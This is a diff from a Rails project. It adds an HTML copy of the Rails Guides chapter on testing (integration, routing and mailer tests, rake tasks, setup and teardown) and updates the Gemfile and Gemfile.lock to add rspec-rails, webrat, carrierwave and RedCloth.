+		<td>Allows you to make an <span class="caps">HTTP</span> <span class="caps">GET</span> request and follow any subsequent redirects.</td>
+	</tr>
+	<tr>
+		<td><tt>put_via_redirect(path, [parameters], [headers])</tt>                                  </td>
+		<td>Allows you to make an <span class="caps">HTTP</span> <span class="caps">PUT</span> request and follow any subsequent redirects.</td>
+	</tr>
+	<tr>
+		<td><tt>delete_via_redirect(path, [parameters], [headers])</tt>                               </td>
+		<td>Allows you to make an <span class="caps">HTTP</span> <span class="caps">DELETE</span> request and follow any subsequent redirects.</td>
+	</tr>
+	<tr>
+		<td><tt>open_session</tt>                                                                     </td>
+		<td>Opens a new session instance.</td>
+	</tr>
+</table>
+<h4 id="integration-testing-examples">5.2 Integration Testing Examples</h4>
+<p>A simple integration test that exercises multiple controllers:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'test_helper'
+
+class UserFlowsTest &lt; ActionController::IntegrationTest
+  fixtures :users
+
+  test &quot;login and browse site&quot; do
+    # login via https
+    https!
+    get &quot;/login&quot;
+    assert_response :success
+
+    post_via_redirect &quot;/login&quot;, :username =&gt; users(:avs).username, :password =&gt; users(:avs).password
+    assert_equal '/welcome', path
+    assert_equal 'Welcome avs!', flash[:notice]
+
+    https!(false)
+    get &quot;/posts/all&quot;
+    assert_response :success
+    assert assigns(:products)
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing <span class="caps">DSL</span> (domain-specific language) just for your application.</p>
+<p>Here&#8217;s an example of multiple sessions and custom <span class="caps">DSL</span> in an integration test</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'test_helper'
+
+class UserFlowsTest &lt; ActionController::IntegrationTest
+  fixtures :users
+
+  test &quot;login and browse site&quot; do
+
+    # User avs logs in
+    avs = login(:avs)
+    # User guest logs in
+    guest = login(:guest)
+
+    # Both are now available in different sessions
+    assert_equal 'Welcome avs!', avs.flash[:notice]
+    assert_equal 'Welcome guest!', guest.flash[:notice]
+
+    # User avs can browse site
+    avs.browses_site
+    # User guest can browse site as well
+    guest.browses_site
+
+    # Continue with other assertions
+  end
+
+  private
+
+  module CustomDsl
+    def browses_site
+      get &quot;/products/all&quot;
+      assert_response :success
+      assert assigns(:products)
+    end
+  end
+
+  def login(user)
+    open_session do |sess|
+      sess.extend(CustomDsl)
+      u = users(user)
+      sess.https!
+      sess.post &quot;/login&quot;, :username =&gt; u.username, :password =&gt; u.password
+      assert_equal '/welcome', path
+      sess.https!(false)
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<h3 id="rake-tasks-for-running-your-tests">6 Rake Tasks for Running your Tests</h3>
+<p>You don&#8217;t need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of rake tasks to help in testing. The table below lists all rake tasks that come along in the default Rakefile when you initiate a Rails project.</p>
+<table>
+	<tr>
+		<th>Tasks                         </th>
+		<th>Description</th>
+	</tr>
+	<tr>
+		<td><tt>rake test</tt>                     </td>
+		<td>Runs all unit, functional and integration tests. You can also simply run <tt>rake</tt> as the <em>test</em> target is the default.</td>
+	</tr>
+	<tr>
+		<td><tt>rake test:benchmark</tt>           </td>
+		<td>Benchmark the performance tests</td>
+	</tr>
+	<tr>
+		<td><tt>rake test:functionals</tt>         </td>
+		<td>Runs all the functional tests from <tt>test/functional</tt></td>
+	</tr>
+	<tr>
+		<td><tt>rake test:integration</tt>         </td>
+		<td>Runs all the integration tests from <tt>test/integration</tt></td>
+	</tr>
+	<tr>
+		<td><tt>rake test:plugins</tt>             </td>
+		<td>Run all the plugin tests from <tt>vendor/plugins/*/**/test</tt> (or specify with <tt>PLUGIN=_name_</tt>)</td>
+	</tr>
+	<tr>
+		<td><tt>rake test:profile</tt>             </td>
+		<td>Profile the performance tests</td>
+	</tr>
+	<tr>
+		<td><tt>rake test:recent</tt>              </td>
+		<td>Tests recent changes</td>
+	</tr>
+	<tr>
+		<td><tt>rake test:uncommitted</tt>         </td>
+		<td>Runs all the tests which are uncommitted. Only supports Subversion</td>
+	</tr>
+	<tr>
+		<td><tt>rake test:units</tt>               </td>
+		<td>Runs all the unit tests from <tt>test/unit</tt></td>
+	</tr>
+</table>
+<h3 id="brief-note-about-test-unit">7 Brief Note About <tt>Test::Unit</tt></h3>
+<p>Ruby ships with a boat load of libraries. One little gem of a library is <tt>Test::Unit</tt>, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in <tt>Test::Unit::Assertions</tt>. The class <tt>ActiveSupport::TestCase</tt> which we have been using in our unit and functional tests extends <tt>Test::Unit::TestCase</tt> that it is how we can use all the basic assertions in our tests.</p>
+<div class='note'><p>For more information on <tt>Test::Unit</tt>, refer to <a href="http://ruby-doc.org/stdlib/libdoc/test/unit/rdoc/">test/unit Documentation</a></p></div>
+<h3 id="setup-and-teardown">8 Setup and Teardown</h3>
+<p>If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let&#8217;s take note of this by looking at an example for our functional test in <tt>Posts</tt> controller:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'test_helper'
+
+class PostsControllerTest &lt; ActionController::TestCase
+
+  # called before every single test
+  def setup
+    @post = posts(:one)
+  end
+
+  # called after every single test
+  def teardown
+    # as we are re-initializing @post before every test
+    # setting it to nil here is not essential but I hope
+    # you understand how you can use the teardown method
+    @post = nil
+  end
+
+  test &quot;should show post&quot; do
+    get :show, :id =&gt; @post.id
+    assert_response :success
+  end
+
+  test &quot;should destroy post&quot; do
+    assert_difference('Post.count', -1) do
+      delete :destroy, :id =&gt; @post.id
+    end
+
+    assert_redirected_to posts_path
+  end
+
+end
+</pre>
+</div>
+</notextile>
+
+<p>Above, the <tt>setup</tt> method is called before each test and so <tt>@post</tt> is available for each of the tests. Rails implements <tt>setup</tt> and <tt>teardown</tt> as <tt>ActiveSupport::Callbacks</tt>. Which essentially means you need not only use <tt>setup</tt> and <tt>teardown</tt> as methods in your tests. You could specify them by using:</p>
+<ul>
+	<li>a block</li>
+	<li>a method (like in the earlier example)</li>
+	<li>a method name as a symbol</li>
+	<li>a lambda</li>
+</ul>
+<p>Let&#8217;s see the earlier example by specifying <tt>setup</tt> callback by specifying a method name as a symbol:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require '../test_helper'
+
+class PostsControllerTest &lt; ActionController::TestCase
+
+  # called before every single test
+  setup :initialize_post
+
+  # called after every single test
+  def teardown
+    @post = nil
+  end
+
+  test &quot;should show post&quot; do
+    get :show, :id =&gt; @post.id
+    assert_response :success
+  end
+
+  test &quot;should update post&quot; do
+    put :update, :id =&gt; @post.id, :post =&gt; { }
+    assert_redirected_to post_path(assigns(:post))
+  end
+
+  test &quot;should destroy post&quot; do
+    assert_difference('Post.count', -1) do
+      delete :destroy, :id =&gt; @post.id
+    end
+
+    assert_redirected_to posts_path
+  end
+
+  private
+
+  def initialize_post
+    @post = posts(:one)
+  end
+
+end
+</pre>
+</div>
+</notextile>
+
+<h3 id="testing-routes">9 Testing Routes</h3>
+<p>Like everything else in your Rails application, it is recommended that you test your routes. An example test for a route in the default <tt>show</tt> action of <tt>Posts</tt> controller above should look like:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+test &quot;should route to post&quot; do
+  assert_routing '/posts/1', { :controller =&gt; &quot;posts&quot;, :action =&gt; &quot;show&quot;, :id =&gt; &quot;1&quot; }
+end
+</pre>
+</div>
+</notextile>
+
+<h3 id="testing-your-mailers">10 Testing Your Mailers</h3>
+<p>Testing mailer classes requires some specific tools to do a thorough job.</p>
+<h4 id="keeping-the-postman-in-check">10.1 Keeping the Postman in Check</h4>
+<p>Your mailer classes &#8212; like every other part of your Rails application &#8212; should be tested to ensure that it is working as expected.</p>
+<p>The goals of testing your mailer classes are to ensure that:</p>
+<ul>
+	<li>emails are being processed (created and sent)</li>
+	<li>the email content is correct (subject, sender, body, etc)</li>
+	<li>the right emails are being sent at the right times</li>
+</ul>
+<h5 id="from-all-sides">10.1.1 From All Sides</h5>
+<p>There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a known value (a fixture.) In the functional tests you don&#8217;t so much test the minute details produced by the mailer; instead, we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.</p>
+<h4 id="unit-testing">10.2 Unit Testing</h4>
+<p>In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.</p>
+<h5 id="revenge-of-the-fixtures">10.2.1 Revenge of the Fixtures</h5>
+<p>For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output <em>should</em> look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within <tt>test/fixtures</tt> directly corresponds to the name of the mailer. So, for a mailer named <tt>UserMailer</tt>, the fixtures should reside in <tt>test/fixtures/user_mailer</tt> directory.</p>
+<p>When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn&#8217;t use the generator you&#8217;ll have to make those files yourself.</p>
+<h5 id="the-basic-test-case">10.2.2 The Basic Test Case</h5>
+<p>Here&#8217;s a unit test to test a mailer named <tt>UserMailer</tt> whose action <tt>invite</tt> is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an <tt>invite</tt> action.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'test_helper'
+
+class UserMailerTest &lt; ActionMailer::TestCase
+  tests UserMailer
+  test &quot;invite&quot; do
+    @expected.from    = 'me@example.com'
+    @expected.to      = 'friend@example.com'
+    @expected.subject = &quot;You have been invited by #{@expected.from}&quot;
+    @expected.body    = read_fixture('invite')
+    @expected.date    = Time.now
+
+    assert_equal @expected.encoded, UserMailer.create_invite('me@example.com', 'friend@example.com', @expected.date).encoded
+  end
+
+end
+</pre>
+</div>
+</notextile>
+
+<p>In this test, <tt>@expected</tt> is an instance of <tt>TMail::Mail</tt> that you can use in your tests. It is defined in <tt>ActionMailer::TestCase</tt>. The test above uses <tt>@expected</tt> to construct an email, which it then asserts with email created by the custom mailer. The <tt>invite</tt> fixture is the body of the email and is used as the sample content to assert against. The helper <tt>read_fixture</tt> is used to read in the content from this file.</p>
+<p>Here&#8217;s the content of the <tt>invite</tt> fixture:</p>
+<pre>
+Hi friend@example.com,
+
+You have been invited.
+
+Cheers!
+</pre>
+<p>This is the right time to understand a little more about writing tests for your mailers. The line <tt>ActionMailer::Base.delivery_method = :test</tt> in <tt>config/environments/test.rb</tt> sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (<tt>ActionMailer::Base.deliveries</tt>).</p>
+<p>However often in unit tests, mails will not actually be sent, simply constructed, as in the example above, where the precise content of the email is checked against what it should be.</p>
+<h4 id="functional-testing">10.3 Functional Testing</h4>
+<p>Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job. You are probably more interested in whether your own business logic is sending emails when you expect them to go out. For example, you can check that the invite friend operation is sending an email appropriately:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'test_helper'
+
+class UserControllerTest &lt; ActionController::TestCase
+  test &quot;invite friend&quot; do
+    assert_difference 'ActionMailer::Base.deliveries.size', +1 do
+      post :invite_friend, :email =&gt; 'friend@example.com'
+    end
+    invite_email = ActionMailer::Base.deliveries.first
+
+    assert_equal invite_email.subject, &quot;You have been invited by me@example.com&quot;
+    assert_equal invite_email.to[0], 'friend@example.com'
+    assert_match /Hi friend@example.com/, invite_email.body
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<h3 id="other-testing-approaches">11 Other Testing Approaches</h3>
+<p>The built-in <tt>test/unit</tt> based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:</p>
+<ul>
+	<li><a href="http://avdi.org/projects/nulldb/">NullDB</a>, a way to speed up testing by avoiding database use.</li>
+	<li><a href="http://github.com/thoughtbot/factory_girl/tree/master">Factory Girl</a>, as replacement for fixtures.</li>
+	<li><a href="http://github.com/notahat/machinist/tree/master">Machinist</a>, another replacement for fixtures.</li>
+	<li><a href="http://www.thoughtbot.com/projects/shoulda">Shoulda</a>, an extension to <tt>test/unit</tt> with additional helpers, macros, and assertions.</li>
+	<li><a href="http://rspec.info/">RSpec</a>, a behavior-driven development framework</li>
+</ul>
+<h3 id="changelog">12 Changelog</h3>
+<p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/8">Lighthouse ticket</a></p>
+<ul>
+	<li>April 4, 2010: Fixed document to validate <span class="caps">XHTML</span> 1.0 Strict. <a href="http://jaimeiniesta.com">Jaime Iniesta</a></li>
+	<li>November 13, 2008: Revised based on feedback from Pratik Naik by <a href="credits.html#asurve">Akshay Surve</a> (not yet approved for publication)</li>
+	<li>October 14, 2008: Edit and formatting pass by <a href="credits.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)</li>
+	<li>October 12, 2008: First draft by <a href="credits.html#asurve">Akshay Surve</a> (not yet approved for publication)</li>
+</ul>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
Gemfile
@@ -9,6 +9,8 @@ gem 'sqlite3-ruby', :require => 'sqlite3'
 gem 'devise'
 gem 'heroku'
 gem 'jquery-rails'
+gem 'carrierwave'
+gem 'RedCloth', '>= 4.1.1'
 
 # Use unicorn as the web server
 # gem 'unicorn'
@@ -29,6 +31,7 @@ gem 'jquery-rails'
 # Bundle gems for the local environment. Make sure to
 # put test-only gems in this group so their generators
 # and rake tasks are available in development mode:
-# group :development, :test do
-#   gem 'webrat'
-# end
+ group :development, :test do
+   gem 'webrat'
+   gem 'rspec-rails'
+ end
Gemfile.lock
@@ -1,6 +1,7 @@
 GEM
   remote: http://rubygems.org/
   specs:
+    RedCloth (4.2.7)
     abstract (1.0.0)
     actionmailer (3.0.3)
       actionpack (= 3.0.3)
@@ -31,11 +32,14 @@ GEM
     arel (2.0.9)
     bcrypt-ruby (2.1.4)
     builder (2.1.2)
+    carrierwave (0.5.3)
+      activesupport (~> 3.0)
     configuration (1.2.0)
     devise (1.3.0)
       bcrypt-ruby (~> 2.1.2)
       orm_adapter (~> 0.0.3)
       warden (~> 1.0.3)
+    diff-lcs (1.1.2)
     erubis (2.6.6)
       abstract (>= 1.0.0)
     heroku (1.20.1)
@@ -54,6 +58,7 @@ GEM
       mime-types (~> 1.16)
       treetop (~> 1.4.8)
     mime-types (1.16)
+    nokogiri (1.4.4)
     orm_adapter (0.0.4)
     polyglot (0.3.1)
     rack (1.2.2)
@@ -77,6 +82,19 @@ GEM
     rake (0.8.7)
     rest-client (1.6.1)
       mime-types (>= 1.16)
+    rspec (2.5.0)
+      rspec-core (~> 2.5.0)
+      rspec-expectations (~> 2.5.0)
+      rspec-mocks (~> 2.5.0)
+    rspec-core (2.5.1)
+    rspec-expectations (2.5.0)
+      diff-lcs (~> 1.1.2)
+    rspec-mocks (2.5.0)
+    rspec-rails (2.5.0)
+      actionpack (~> 3.0)
+      activesupport (~> 3.0)
+      railties (~> 3.0)
+      rspec (~> 2.5.0)
     sqlite3 (1.3.3)
     sqlite3-ruby (1.3.3)
       sqlite3 (>= 1.3.3)
@@ -86,13 +104,21 @@ GEM
     tzinfo (0.3.26)
     warden (1.0.3)
       rack (>= 1.0.0)
+    webrat (0.7.3)
+      nokogiri (>= 1.2.0)
+      rack (>= 1.0)
+      rack-test (>= 0.5.3)
 
 PLATFORMS
   ruby
 
 DEPENDENCIES
+  RedCloth (>= 4.1.1)
+  carrierwave
   devise
   heroku
   jquery-rails
   rails (= 3.0.3)
+  rspec-rails
   sqlite3-ruby
+  webrat